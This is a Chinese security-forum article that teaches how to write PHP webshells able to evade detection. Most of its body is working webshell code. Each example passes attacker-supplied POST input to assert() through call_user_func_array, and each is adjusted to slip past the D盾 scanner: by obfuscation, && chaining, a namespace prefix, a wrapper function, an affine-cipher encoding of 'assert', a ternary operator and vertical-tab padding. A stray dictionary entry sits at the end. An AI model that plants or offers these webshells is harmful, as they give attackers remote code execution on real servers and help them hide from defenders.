标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-2511] 作者: hudie 发表于: [2019-11-29]
本文共 [872] 位读者顶过
#常见的回调函数如下 call_user_func_array() call_user_func() array_udiff() array_filter() array_walk() array_map() array_reduce() array_walk_recursive() registregister_shutdown_function() register_tick_function() filter_var() filter_var_array() uasort() uksort()
[出自:jiwo.org] 接下来我就随机选择一个回调函数简单构造一些免杀马吧。那就直接选择上述第一个call_user_func_array()函数吧,这个函数的作用是调用回调函数,并把一个数组参数作为回调函数的参数,使用说明如下: call_user_func_array ( callable $callback , array $param_arr ) : mixed 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。 因此首先我就随便写了一个简单的木马如下: <?php call_user_func_array('assert', array($_POST['a'])); ?> 使用最新版本的D盾查杀如下,报了4级可疑:
好了,已经正确表明D盾把回调函数call_user_func_array拉黑了,接下来将是我的重点,介绍如何绕过这种检测。 混淆加密绕过关于这个混淆加密绕过,我用了一种十分古老的工具"微盾php脚本加密专家"混淆加密,因为方便,哈哈,大家也可以自行混淆加密。直接将我上诉第一次写的D盾报了4级可疑的代码 <?php call_user_func_array('assert', array($_POST['a'])); ?>
进行混淆加密过后得到了如下结果:成功绕过D盾
&&绕过使用&&符号将所有代码放到同一行来执行 <?php ($a = 'assert')&&($b = $_POST['a'])&&call_user_func_array($a, array($b)); ?> 简单解释:同一行代码使用&&符号连接是按照从左到右的顺序执行的,所以首先将assert赋值给变量$a,然后将从客户端post过来的参数赋值给变量$b,再使用回调函数调用assert函数,执行从客户端post过来的数据。 命名空间绕过这个就更简单了,直接在回调函数前加上命名空间反斜杠\即可成功绕过。 绕过代码如下: <?php \call_user_func_array('assert', array($_POST['a'])); ?> 函数绕过随便写个函数,将回调函数藏到函数里面去,将代码执行函数和post的参数通过参数传给函数,即可成功绕过,绕过代码如下: <?php function v01cano($aaa,$bbb){ call_user_func_array($aaa, $bbb); } v01cano('assert',array($_POST['a'])); ?> 自写加密函数绕过这个可能比前面的会略微复杂一点点,因为这里我的代码执行函数assert直接传入回调函数被D盾识别了,所以我就需要隐藏assert,隐藏方法太多了,下面我就自己写了个仿射变换隐藏一下assert。 <?php function encode($para0){ $m=strtolower($para0); $a = 7; $b = 21; $c = ""; for($i=0;$i<strlen($m);$i++) { $c=$c.chr((((ord(substr($m,$i,1))-97)*$a+$b)%26)+97); } return $c; } $a = $_POST['a']; call_user_func_array(encode('xhhfsw'), array($a)); ?> 自己随便写了个函数就绕过了。 三元运算符绕过<?php $a=$_GET['a']; $b=$_POST['a']; call_user_func_array($a==$a?$a:$a, array($b)); ?>
垂直制表符绕过随意选择一个转义符绕过,这里选择了垂直制表符。 <?php $b=$_POST['a']; $a="\x0Bassert"; call_user_func_array(trim($a), array($b)); ?> 使用垂直制表符最后要记得使用trim或者其他函数将空格去除即可。
简单介绍到这里吧,仅仅提供一些思路和方法给大家 其实方法太多太多了,还能继续写 静态查杀的弊端已经越来越凸显了 让我们一起向动态查杀进攻吧
使用
[Shǐyòng]
动词use; employ; make use of; apply
名词forthputting
介词under
|